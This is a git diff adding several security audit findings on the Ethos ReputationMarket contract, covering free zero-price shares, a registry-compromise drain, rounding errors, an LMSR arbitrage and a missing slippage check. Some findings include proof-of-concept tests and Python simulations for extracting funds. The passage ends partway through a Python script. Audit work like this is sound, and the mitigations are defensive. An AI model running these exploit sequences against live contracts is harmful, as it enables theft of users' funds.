price hits zero within markets that use LMSR, under normal conditions this would mean that no shares would be sold, creating a deadlock. However ReputationMarket will keep giving free shares to users without any fees. Although there is no total value loss, because shares can be bought for free and the price can later increase due to market activity, this creates a potential profit with no downside. Also buying these shares will cost no fees. + +### Root Cause + +Allowing users to buy shares for free +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497 + +### Internal Pre-conditions + +1. Outstanding shares of one of the votes is much greater than the other such that one of the shares is priced at zero + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User buys shares that are priced at zero +2. If the other shares are sold or more shares that were priced at zero are bought, user can sell these shares that were bought for free + + +### Impact + +Users are able to trade risk free, also without paying fees. + +### PoC + + Note that this test will fail because gas costs are not taken into consideration, but on the output you can see only the gas costs were paid. + ```javascript + it('should let user buy shares for free', async () => { + const billionEth = ethers.parseEther('1000000000'); + const maxVotes = 133000n - 1n; + + // Buy many distrust votes to push trust price down + await userA.buyVotes({ + votesToBuy: maxVotes, + buyAmount: billionEth, + isPositive: false, + }); + + const balanceBefore = await ethers.provider.getBalance(userA.signer.address); + + const trustPrice = await reputationMarket.getVotePrice(DEFAULT.profileId, true); + expect(Number(trustPrice)).to.equal(0); + + await userA.buyVotes({ + votesToBuy: 80000n, + isPositive: true, + }); + + const balanceAfter = await ethers.provider.getBalance(userA.signer.address); + + // this will fail as gas costs are not taken for consideration + expect(balanceAfter).to.equal(balanceBefore, 'Balance did not decrease after buying votes'); + }); +``` + +### Mitigation + +Do not let users buy shares when price hits 0. \ No newline at end of file diff --git a/136.md b/136.md new file mode 100644 index 0000000..f87b3a5 --- /dev/null +++ b/136.md @@ -0,0 +1,128 @@ +Sparkly Ruby Rabbit + +High + +# Compromise of contractAddressManager + +### Summary + +A malicious or compromised admin (or someone controlling the registry keys) for contractAddressManager will forcibly graduate markets and drain marketFunds belonging to all users. This amounts to total asset theft once the manager is compromised. + +ReputationMarket fully trusts contractAddressManager to return the authorized "GRADUATION_WITHDRAWAL" address. If an attacker can change that registry entry—even briefly—they gain the power to: + +- Call graduateMarket(profileId), thus locking out new trades on that market. +- Immediately call withdrawGraduatedMarketFunds(profileId), funneling the entire marketFunds[profileId] balance into the attacker’s account. + +No fallback or secondary check exists in ReputationMarket to prevent an unexpected registry update. Therefore, the moment contractAddressManager is compromised, all un-graduated funds are at risk. + +Why It Matters? + +This is not a hypothetical edge case—key or registry compromises happen routinely in DeFi via phishing, wallet malware, social engineering, or direct contract exploit. The entire security of user funds depends on the single external contract address manager not being compromised. + +### Root Cause + +In ReputationMarket.sol: + +```solidity + +function graduateMarket(uint256 profileId) public whenNotPaused activeMarket(profileId) nonReentrant { + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) revert UnauthorizedGraduation(); + + // ... mark market graduated +} + +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused nonReentrant { + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) revert UnauthorizedWithdrawal(); + + // transfer marketFunds[profileId] to msg.sender +} +``` +- No internal reference to a stable or hardcoded “graduation contract”—the only check is msg.sender == addressGivenByManager. +- If contractAddressManager can be changed (or social-engineered, or its private keys stolen), the attacker sets -- "GRADUATION_WITHDRAWAL" → attackerAddress. +- That’s all it takes. There are no timelocks, multi-sig checks, or alerts stopping an immediate drain. + + +### Internal Pre-conditions + +1-contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL") is the only check for the graduation/withdraw logic. +2-There is no second internal gating or event-based time delay in ReputationMarket to verify changes in that address. + + +### External Pre-conditions + +1-The attacker gains enough access to contractAddressManager to overwrite the "GRADUATION_WITHDRAWAL" entry. This can happen through: +- Key compromise: A dev or admin’s private key stolen via phishing, wallet exploit, etc. +- Registry hack: The manager is itself an upgradeable or externally governed contract, subject to an exploit. +- Social engineering: Trick the rightful manager admin into pointing "GRADUATION_WITHDRAWAL" to a malicious address. + +2-The protocol has large marketFunds[...] accumulated from real users trading trust/distrust votes. + +### Attack Path + +1-Attacker obtains control of the contractAddressManager. This could be instantaneous (stealing a key) or gradual (exploiting a bug in the registry contract). + +2-They call (for example): +`contractAddressManager.setContractAddressForName("GRADUATION_WITHDRAWAL", attackerEOA);` + +3-Attacker from attackerEOA (which is now recognized as the authorized graduation contract) calls: + +`reputationMarket.graduateMarket(profileId);` +This flips the market to “graduated,” halting any further trading. + +4-Immediately calls: +`reputationMarket.withdrawGraduatedMarketFunds(profileId);` +transferring all marketFunds[profileId] to attackerEOA. + +5-Repeats for every active market. The attacker drains all user-deposited ETH, leaving the contract with zero balance. + +### Impact + +Affected Party: Every user or participant who has deposited ETH into active (non-graduated) markets. +Loss: +- Complete: The attacker can systematically remove all funds from every single market. +- Irrecoverable: The protocol has no built-in safeguard or fallback once the attacker is recognized as “graduation.” + + Scenario: +If the contract is popular, it might hold thousands of ETH. A single “manager key” slip or an unpatched bug in the manager contract—poof, all user funds gone. + +### PoC + +```solidity +// Hypothetical scenario demonstrating an attacker controlling the manager: + +// 1. Attacker or compromised manager sets the GRADUATION_WITHDRAWAL address to themselves: +contractAddressManager.setContractAddressForName("GRADUATION_WITHDRAWAL", attackerAddress); + +// 2. Now from 'attackerAddress': +reputationMarket.graduateMarket(profileId); // Market is marked graduated +reputationMarket.withdrawGraduatedMarketFunds(profileId); +// => Attacker receives all ETH locked in marketFunds[profileId] +``` +(Note: The actual code depends on how contractAddressManager is implemented, but the vulnerability is the same.) + +Why This Could Happen ( Examples) + +Private Key Exploit: +Admin’s MetaMask is compromised. Attacker pushes a single transaction changing the registry. + +Registry Contract Vulnerability: +A missing onlyOwner check or a flawed upgrade path lets an attacker hijack the manager. + +Social Engineering: +Attacker convinces an admin that “the new graduation contract address is X,” admin calls setContractAddressForName("GRADUATION_WITHDRAWAL", X), not realizing X is a malicious EOA. + +Rug Pull: +A malicious insider or original developer uses the manager to rug the protocol once enough user funds accumulate. + +### Mitigation + +Strong Security on Manager: +The registry (or any method to update "GRADUATION_WITHDRAWAL") must be behind a multi-sig or DAO governance with time delays. This ensures no single key can instantly update addresses. + +Immutable Graduation Address: +Hardcode the valid GRADUATION_WITHDRAWAL into the contract, removing the registry step. This is the strongest approach but sacrifices upgradability or flexibility. + +Emergency Pause: +Possibly provide a secondary check that if "GRADUATION_WITHDRAWAL" changes unexpectedly, the protocol enters a paused or limited mode. diff --git a/137.md b/137.md new file mode 100644 index 0000000..e803b43 --- /dev/null +++ b/137.md @@ -0,0 +1,52 @@ +Upbeat Coffee Badger + +High + +# The rounding direction in _calcVotePrice(…) does not match the comments. + +### Summary + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003 +1. Comment Meaning + • For trust votes (isPositive = true): “round up” + • For distrust votes (isPositive = false): “round down” +2. Actual Code Execution + • For trust votes (isPositive = true), Math.Rounding.Floor is called (rounding down). + • For distrust votes (isPositive = false), Math.Rounding.Ceil is called (rounding up). + +This is the exact opposite of the comments, leading to the following potential issues: + 1. Mismatch Between Comments and Implementation, Misleading Future Developers +Future developers or maintainers may trust the comments when reading the code or upgrading the contract, leading to misjudgments about the actual behavior and introducing further bugs. + 2. Potential 1 wei Discrepancy in the Sum of Trust and Distrust Vote Prices +The original intent was for one to round up and the other to round down to ensure that trustPrice + distrustPrice ≈ basePrice. However, with the current reversed order, their sum could be slightly lower or higher than basePrice, causing cumulative “1 wei” discrepancies. + 3. Conflict with Other Rounding Logic in _calcCost(…) +_calcCost(…) also contains rounding logic that mixes up buy/sell operations. If both locations confuse “positive/negative” or “buy/sell” with the rounding direction, the final price calculations will become even more inconsistent. + + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/138.md b/138.md new file mode 100644 index 0000000..3d56751 --- /dev/null +++ b/138.md @@ -0,0 +1,218 @@ +Radiant Peach Rook + +High + +# Arbitrage Vulnerability in LMSR-Based Market + +### Summary + +The choice to apply the LMSR formula on a per-transaction “spot price” basis rather than enforcing the integral cost for each user's net position will cause an arbitrage exploit for the market participants as an attacker can buy and sell multiple times to net out a guaranteed profit. + + +### Root Cause + +The choice to track each user’s shares separately and let them trade at the “spot” LMSR price is a mistake as it breaks LMSR’s no-arbitrage assumption. +By design, LMSR needs to charge the integral cost from the old market state to the new one for every position change, ensuring no free profit. When the code treats each trade independently at the current spot price, it allows certain multi-step trades to extract risk-free profit. + + +in another terms: +In a standard single-pool LMSR design, no-arbitrage is guaranteed only if all traders pay or receive the integral (cumulative) cost difference when they change their positions. This means that the protocol calculates the cost of going from one global state (𝑞 oldYes, 𝑞 oldNo) to a new global state (𝑞 newYes, 𝑞 newNo) and charges or rebates that exact difference for the entire trade. + +However, in this implementation: + +1. Spot Pricing Instead of Integral Cost +The protocol appears to use a “spot” LMSR price for each incremental buy or sell transaction rather than integrating over the user’s full position change in a single step. Essentially, if a user wants to buy n shares, the cost is computed as if they’re buying each share one at a time at the spot price and summing those marginal costs—rather than using the difference cost(𝑞 old + 𝑛) − cost(𝑞 old). + +2. Individual Balances vs. Single Collateral Pool +Each user holds personal “yes” or “no” vote balances. When they buy or sell, the protocol re-prices the entire market based on the new total “yes” and “no” votes—but does not enforce a single, unified cost basis for each user’s net position. This lets a user (or multiple addresses controlled by the same attacker) shuffle partial buys/sells in a way that manipulates the spot price back and forth, capturing a risk-free profit. + +3. Breaking LMSR’s No-Arbitrage Assumption +LMSR no-arbitrage relies on the idea that any partial shift in the market state should cost or refund the entire difference in cost function values. By allowing repeated incremental buys/sells at spot prices (and ignoring the integral cost each user accrued), the system inadvertently opens an arbitrage route. The attacker can: + - First, buy negative votes to push positive votes cheaper, + - Then, buy (or sell) positive votes at a favorable rate, + - Continue toggling the market’s “yes/no” ratio until eventually selling out at a higher price than their overall cost. +As a result, the attacker ends up with more ETH (or whatever currency is used) than they started with, extracting it from the collateral or from other users in the pool—thus violating the no-arbitrage principle that LMSR is supposed to guarantee. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol?plain=1#L93-L103 + +### Internal Pre-conditions + +- There must be at least two users interacting with the same market. + + +### External Pre-conditions + +- No external conditions need to shift drastically; this exploit relies purely on the contract’s internal pricing logic. +- Gas costs remain low enough that repeated trades are feasible for the attacker. which is true in base layer 2. + + +### Attack Path + +- Attacker (User B) buys a small number of “no” shares, nudging the global price in favor of “yes.” +- Attacker immediately buys a large amount of “yes” shares at a relatively low “spot” price. +- The attacker (or another user) then reverses the shift (e.g., buys “no” or sells “yes”) so the global price changes again, making the attacker’s “yes” shares more valuable. +- Attacker sells the large “yes” position at the new higher price, pocketing more than they originally paid due to the incorrect per-transaction pricing. + + +### Impact + +The protocol (and possibly other honest traders) suffer a loss equivalent to the difference between the attacker’s buy and sell prices that LMSR should have recaptured as integral cost. The attacker gains that difference as risk-free profit. + + +### PoC + +add this code to one of the test like test/reputationMarket/rep.market.test.ts +this is just a numerical example of how shares can be bought. other amount of shares are acceptable. + +```javascript + describe('ReputationMarket - LMSR Arbitrage PoC', () => { + + it('should replicate the multi-step scenario (matching logged events)', async () => { + const initialBalanceB = await ethers.provider.getBalance(await userB.signer.getAddress()); + + // (1) user 0 (userA) buys negative votes: amount=199, funds=1.0966e18 + await userA.buyVotes({ + isPositive: false, + votesToBuy: 199n, + buyAmount: 1096640775160633321n, // from logs + minVotesToBuy: 199n, // prevent slippage revert + }); + + // (2) user 1 (userB) buys negative votes: amount=539, funds=3.477e18 + await userB.buyVotes({ + isPositive: false, + votesToBuy: 539n, + buyAmount: 3477047841202111564n, + minVotesToBuy: 539n, + }); + + // (3) user 1 (userB) buys positive votes: amount=58, funds=2.008e17 + await userB.buyVotes({ + isPositive: true, + votesToBuy: 58n, + buyAmount: 200866704876282396n, + minVotesToBuy: 58n, + }); + + // (4) user 0 (userA) buys negative votes: amount=880, funds=6.939e18 + await userA.buyVotes({ + isPositive: false, + votesToBuy: 880n, + buyAmount: 6939093775531676167n, + minVotesToBuy: 880n, + }); + + // (5) user 1 (userB) buys positive votes: amount=936, funds=2.502e18 + await userB.buyVotes({ + isPositive: true, + votesToBuy: 936n, + buyAmount: 2502324595526037849n, + minVotesToBuy: 936n, + }); + + // (6) user 1 (userB) buys positive votes: amount=997, funds=4.912e18 + await userB.buyVotes({ + isPositive: true, + votesToBuy: 997n, + buyAmount: 4912834256989671652n, + minVotesToBuy: 997n, + }); + + // (7) user 1 (userB) sells negative votes: amount=367, funds=1.271e18 + await userB.sellVotes({ + isPositive: false, + sellVotes: 367n, + minSellPrice: 0n, // or any slippage tolerance + }); + + // (8) user 0 (userA) buys positive votes: amount=431, funds=3.265e18 + await userA.buyVotes({ + isPositive: true, + votesToBuy: 431n, + buyAmount: 3265293300620231538n, + minVotesToBuy: 431n, + }); + + // (9) user 1 (userB) sells positive votes: amount=590, funds=3.95e18 + await userB.sellVotes({ + isPositive: true, + sellVotes: 590n, + minSellPrice: 0n, + }); + + // (10) user 1 (userB) buys positive votes: amount=944, funds=7.314e18 + await userB.buyVotes({ + isPositive: true, + votesToBuy: 944n, + buyAmount: 7314690072635150709n, + minVotesToBuy: 944n, + }); + + // (11) user 0 (userA) sells negative votes: amount=781, funds=9.68e17 + await userA.sellVotes({ + isPositive: false, + sellVotes: 781n, + minSellPrice: 0n, + }); + + // (12) user 0 (userA) sells negative votes: amount=57, funds=4.782e16 + await userA.sellVotes({ + isPositive: false, + sellVotes: 57n, + minSellPrice: 0n, + }); + + // (13) user 1 (userB) sells negative votes: amount=97, funds=7.586e16 + await userB.sellVotes({ + isPositive: false, + sellVotes: 97n, + minSellPrice: 0n, + }); + + // (14) user 1 (userB) buys positive votes: amount=514, funds=5.059e18 + await userB.buyVotes({ + isPositive: true, + votesToBuy: 514n, + buyAmount: 5059477828343247676n, + minVotesToBuy: 514n, + }); + + // (15) user 1 (userB) sells positive votes: amount=2714, funds=2.082e19 + await userB.sellVotes({ + isPositive: true, + sellVotes: 2714n, + minSellPrice: 0n, + }); + + const finalBalanceB = await ethers.provider.getBalance(await userB.signer.getAddress()); + + // ---- Before/After Assertions ---- + console.log("userB balance before: ", initialBalanceB); + console.log("userB balance after : ", finalBalanceB); + + expect(finalBalanceB).to.be.gt(initialBalanceB, 'User B’s balance should have changed'); + + }); + }); + +``` + +output: +```text +ReputationMarket - LMSR Arbitrage PoC +userB balance before: 200000000000000000000000n +userB balance after : 200005143574131685336412n +``` + +the attacker balance increased even though attacker paid for fees. + + + + + +### Mitigation + +Enforce the full integral cost for each user’s net position changes. +Store users’ total positions and charge them according to the difference in the LMSR cost function from their old position to their new position. +Avoid using LMSR spot pricing for partial buy/sell orders in isolation. + diff --git a/139.md b/139.md new file mode 100644 index 0000000..d2d34f5 --- /dev/null +++ b/139.md @@ -0,0 +1,63 @@ +Jolly Denim Mouse + +Medium + +# Missing Slippage checks in `buyVotes` function + +### Summary + +The `buyVotes` function fails to validate that the final adjusted vote count (`currentVotesToBuy`) remains above the specified `minVotesToBuy` after the dynamic adjustment loop. This allows a purchase to complete with fewer votes than the user expects, violating the slippage protection intended by the `minVotesToBuy` parameter. + + +### Root Cause + +In the `buyVotes` function, while there is a `minVotesToBuy` parameter, it only validates that the ETH provided (`msg.value`) is sufficient to cover the cost of `minVotesToBuy` votes:: +[https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440) +```js +uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; +if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); +} +``` +However, this does not ensure that the final adjusted vote count (`currentVotesToBuy`) after the loop still satisfies `minVotesToBuy`. If the buyer initially specifies a high `maxVotesToBuy`, the dynamic adjustment loop may decrement the votes to a value below `minVotesToBuy` due to insufficient funds. +```js +while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); +} +``` +Here, no validation after loop if `currentVotesToBuy >= minVotesToBuy`. + +Without a subsequent check, it’s possible for `currentVotesToBuy` to fall below `minVotesToBuy`, contradicting the user's expectation of receiving at least `minVotesToBuy` votes. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users may receive fewer votes than expected + + +### PoC + +_No response_ + +### Mitigation + +Add a post-loop validation: +```js +if (currentVotesToBuy < minVotesToBuy) revert SlippageExceeded(); +``` \ No newline at end of file diff --git a/140.md b/140.md new file mode 100644 index 0000000..224c980 --- /dev/null +++ b/140.md @@ -0,0 +1,231 @@ +Magnificent Tortilla Eel + +High + +# Initial Liquidity Could Be Paided. + +### Summary +There is an unsafe rounding mode in `ReputationMarket::L1057`. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057 +In the `_calcCost()` function, the cost is rounded down for `TRUST` and rounded up for `DISTRUST`. +If there are more times purchases than sales for `TRUST`, or fewer times purchases than sales for `DISTRUST`, the `marketFunds` can be consumed. +This occurs because there are more additions when rounding down and more subtractions when rounding up. + +### Internal pre-conditions +- `markets.liquidityParameter * markets.basePrice % 1e18 != 0` + +If `markets.liquidityParameter * markets.basePrice % 1e18 != 0`, the `cost` can be a non-integer value. +At this point, the rounding mode is used. + +### External pre-conditions +N/A + +### Attack Path +1. Buy `TRUST` voting rights one at a time `n` times, then sell all these voting rights at once. +2. Alternatively, buy `n` `DISTRUST` voting rights at once and then sell each vote one at a time for `n` times. + +### Impact +In Details: +>What properties/invariants do you want to hold even if breaking them has a low/unknown impact? +>The contract must never pay out the initial liquidity deposited as part of trading. The only way to access those funds is to graduate the market. + +However, the initial liquidity could be Paided. + +### PoC +```solidity +1017: function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + // cost ratio is a unitless ratio of N / 1e18 + uint256[] memory voteDelta = new uint256[](2); + // convert boolean input into market state change + if (isBuy) { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] + amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] + amount; + } + } else { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] - amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] - amount; + } + } + + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], +1047: voteDelta[0], +1048: voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +1057: isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil + ); + } +``` +Let's examine how the initial liquidity is Paided. +Assume: `liquidity := 1000`, `basePrice := 0.01e18 + 3e14`, `votes[0] := votes[1] := 1` and `marketFunds = 0.2e18`. +Buy `TRUST` voting rights one at a time `n` times, then sell all these voting rights at once. +Also, buy `n` `DISTRUST` votes and sell each of these votes `n` times. +Regarding this `n`: +`n := 2 : marketFunds = 199999999999999999` +`n := 3 : marketFunds = 199999999999999998` +`n := 4 : marketFunds = 199999999999999997` +`n := 5 : marketFunds = 199999999999999996` +`n := 6 : marketFunds = 199999999999999996` +`n := 7 : marketFunds = 199999999999999995` +`n := 8 : marketFunds = 199999999999999994` +`n := 9 : marketFunds = 199999999999999992` + +Here is the Python code used for testing: +```Python +from decimal import Decimal, getcontext, ROUND_FLOOR +import math +getcontext().prec = 50; getcontext().rounding = ROUND_FLOOR; +TRUST = 1; DISTRUST = 0; Floor = 0; Ceil = 1; uUNIT = Decimal(1e18); +liquidity = Decimal(1000); basePrice = Decimal(0.01e18 + 3e14); marketFunds = Decimal(0.2e18); votes = [Decimal(1)] * 2; + +def div(x,y): # UD60x18 + result = (uUNIT * x / y).to_integral_value(rounding = ROUND_FLOOR); + return result; +def _getExponentials(yesVotes, noVotes, liquidityParameter): + yesUD = yesVotes * uUNIT; # Convert to UD60x18 + noUD = noVotes * uUNIT; # Convert to UD60x18 + b = liquidityParameter * uUNIT; # Convert to UD60x18 + yesRatio = div(yesUD , b); + noRatio = div(noUD , b); + yesExp = ((yesRatio / uUNIT).exp() * uUNIT).to_integral_value(rounding = ROUND_FLOOR); + noExp = ((noRatio / uUNIT).exp() * uUNIT).to_integral_value(rounding = ROUND_FLOOR); + return (yesExp, noExp); +def _cost(yesVotes, noVotes, liquidityParameter): + (yesExp, noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + sumExp = yesExp + noExp; + lnVal = (uUNIT * (sumExp / uUNIT).ln()).to_integral_value(rounding = ROUND_FLOOR); + costResult = lnVal * liquidityParameter; + return costResult; +def getCost(currentYesVotes, currentNoVotes, outcomeYesVotes, outcomeNoVotes, liquidityParameter): + oldCost = _cost(currentYesVotes, currentNoVotes, liquidityParameter); + newCost = _cost(outcomeYesVotes, outcomeNoVotes, liquidityParameter); + costDiff = newCost - oldCost; + return costDiff; +def mulDiv(x,y,z,mode): + res = (x * y / z).to_integral_value(rounding = ROUND_FLOOR); + if (mode == Ceil): + if (res * z != x * y): + res += 1; + return res; +def _calcCost(isPositive, isBuy, amount): + voteDelta = [0] * 2; + #voteDelta[0] = votes[1]; voteDelta[1] = votes[0]; + #voteDelta[1-isPositive] += amount if isBuy else -amount; + if (isBuy) : + if (isPositive) : + voteDelta[0] = votes[TRUST] + amount; + voteDelta[1] = votes[DISTRUST]; + else : + voteDelta[0] = votes[TRUST]; + voteDelta[1] = votes[DISTRUST] + amount; + else : + if (isPositive) : + voteDelta[0] = votes[TRUST] - amount; + voteDelta[1] = votes[DISTRUST]; + else : + voteDelta[0] = votes[TRUST]; + voteDelta[1] = votes[DISTRUST] - amount; + costRatio = getCost(votes[TRUST], votes[DISTRUST], voteDelta[0], voteDelta[1], liquidity); + positiveCostRatio = (costRatio) if costRatio > 0 else -costRatio; + cost = mulDiv(positiveCostRatio, basePrice, uUNIT, Floor if isPositive else Ceil); + return cost; +def _calculateBuy(isPositive, votesToBuy): + purchaseCostBeforeFees = _calcCost(isPositive, 1, votesToBuy); + return purchaseCostBeforeFees; +def buyVotes(isPositive,VotesToBuy): + global marketFunds, votes; + purchaseCostBeforeFees = _calculateBuy(isPositive,VotesToBuy); + votes[1 if isPositive else 0] += VotesToBuy; + marketFunds += purchaseCostBeforeFees; +def _calculateSell(isPositive, votesToSell): + proceedsBeforeFees = _calcCost(isPositive, 0, votesToSell); + return proceedsBeforeFees; +def sellVotes(isPositive,votesToSell): + global marketFunds, votes; + proceedsBeforeFees = _calculateSell(isPositive, votesToSell); + votes[1 if isPositive else 0] -= votesToSell; + marketFunds -= proceedsBeforeFees; + +for n in range(2,10,1): + votes = [Decimal(1)] * 2; + marketFunds = Decimal(0.2e18); + for _ in range(n): + buyVotes(TRUST, Decimal(1)); + sellVotes(TRUST, Decimal(n)); + buyVotes(DISTRUST, Decimal(n)); + for _ in range(n): + sellVotes(DISTRUST, Decimal(1)); + #if marketFunds < Decimal(0.2e18): + print(f"`n := {n} : marketFunds = {marketFunds}`"); +``` + +### Mitigation +```diff +1017: function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + // cost ratio is a unitless ratio of N / 1e18 + uint256[] memory voteDelta = new uint256[](2); + // convert boolean input into market state change + if (isBuy) { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] + amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] + amount; + } + } else { + if (isPositive) { + voteDelta[0] = market.votes[TRUST] - amount; + voteDelta[1] = market.votes[DISTRUST]; + } else { + voteDelta[0] = market.votes[TRUST]; + voteDelta[1] = market.votes[DISTRUST] - amount; + } + } + + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +-1057: isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++1057: isBuy ? Math.Rounding.Ceil : Math.Rounding.Floor + ); + } +``` \ No newline at end of file diff --git a/141.md b/141.md new file mode 100644 index 0000000..9d43357 --- /dev/null +++ b/141.md @@ -0,0 +1,159 @@ +Magnificent Tortilla Eel + +Medium + +# TRUST + DISTRUST Price May Not Equal One + +### Summary +The condition `getOdds(isYes) + getOdds(isNo) < 1` may occur, leading to the `TRUST price + DISTRUST price` being less than one. + +### Root Cause +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol#L70 + +### Internal pre-conditions +N/A + +### External pre-conditions +N/A + +### Attack Path +N/A + +### Impact +In Details: +> Are there any limitations on values set by admins (or other roles) in protocols you integrate with, including restrictions on array lengths? +> - Must maintain LMSR invariant (yes + no price sum to 1) + +In [ReputationMarket.sol](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L22): +> * ... with both prices always summing to the market's basePrice. + +However, the sum may less than basePrice. + +### PoC +```solidity +ReputationMarket.sol + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice + return +1003: odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); + } +LMSR.sol + function getOdds( + uint256 yesVotes, + uint256 noVotes, + uint256 liquidityParameter, + bool isYes + ) public pure returns (uint256 ratio) { + // Compute exponentials e^(yes/b) and e^(no/b) + (UD60x18 yesExp, UD60x18 noExp) = _getExponentials(yesVotes, noVotes, liquidityParameter); + + // sumExp = e^(yes/b) + e^(no/b) + UD60x18 sumExp = yesExp.add(noExp); + + // priceRatio = e^(yes/b)/(sumExp) if isYes, else e^(no/b)/(sumExp) +70: UD60x18 priceRatio = isYes ? yesExp.div(sumExp) : noExp.div(sumExp); + + // Unwrap to get scaled ratio + ratio = unwrap(priceRatio); + } +``` +Because both `getOdds(,,,1)` and `getOdds(,,,0)` are rounded down, `getOdds(,,,1) + getOdds(,,,0)` may less than `1e18`. +`calcVotePrice(,1) = floor(getOdds(,,,1) * basePrice / 1e18)` +`calcVotePrice(,0) = ceil(getOdds(,,,0) * basePrice / 1e18)` +Consequently, `calcVotePrice(,1) + calcVotePrice(,0)` may less than `market.basePrice`. +At least, if `getOdds(,,,0) * basePrice % 1e18 := 0`: + calcVotePrice(,1) + calcVotePrice(,0) = + = floor(getOdds(,,,1) * basePrice / 1e18) + (getOdds(,,,0) * basePrice / 1e18) <= + <= ( getOdds(,,,1) + getOdds(,,,0) ) * basePrice / 1e18 <= + <= (1e18-1) * basePrice / 1e18 < basePrice. +Let's examine how the sum is less than basePrice. +Assume: `liquidity := 1000`, `basePrice := 0.01e18 + 3e14`, and `marketFunds = 0.2e18`. +Regarding votes[0] and votes[1]: +`votes[0] := 61 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 102 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 349 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 395 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 461 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 539 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 621 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 651 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 898 votes[1] := 500 sumPrice = 10299999999999999` +`votes[0] := 939 votes[1] := 500 sumPrice = 10299999999999999` +... +In these cases, sumPrice < basePrice. + +Here is the Python code used for testing: +```Python +from decimal import Decimal, getcontext, ROUND_FLOOR +import math +getcontext().prec = 50; getcontext().rounding = ROUND_FLOOR; +TRUST = 1; DISTRUST = 0; Floor = 0; Ceil = 1; uUNIT = Decimal(1e18); +liquidity = Decimal(1000); basePrice = Decimal(0.01e18 + 3e14); votes = [Decimal(1)] * 2; + +def div(x,y): # UD60x18 + result = (uUNIT * x / y).to_integral_value(rounding = ROUND_FLOOR); + return result; +def _getExponentials(yesVotes, noVotes, liquidityParameter): + yesUD = yesVotes * uUNIT; # Convert to UD60x18 + noUD = noVotes * uUNIT; # Convert to UD60x18 + b = liquidityParameter * uUNIT; # Convert to UD60x18 + yesRatio = div(yesUD , b); + noRatio = div(noUD , b); + yesExp = ((yesRatio / uUNIT).exp() * uUNIT).to_integral_value(rounding = ROUND_FLOOR); + noExp = ((noRatio / 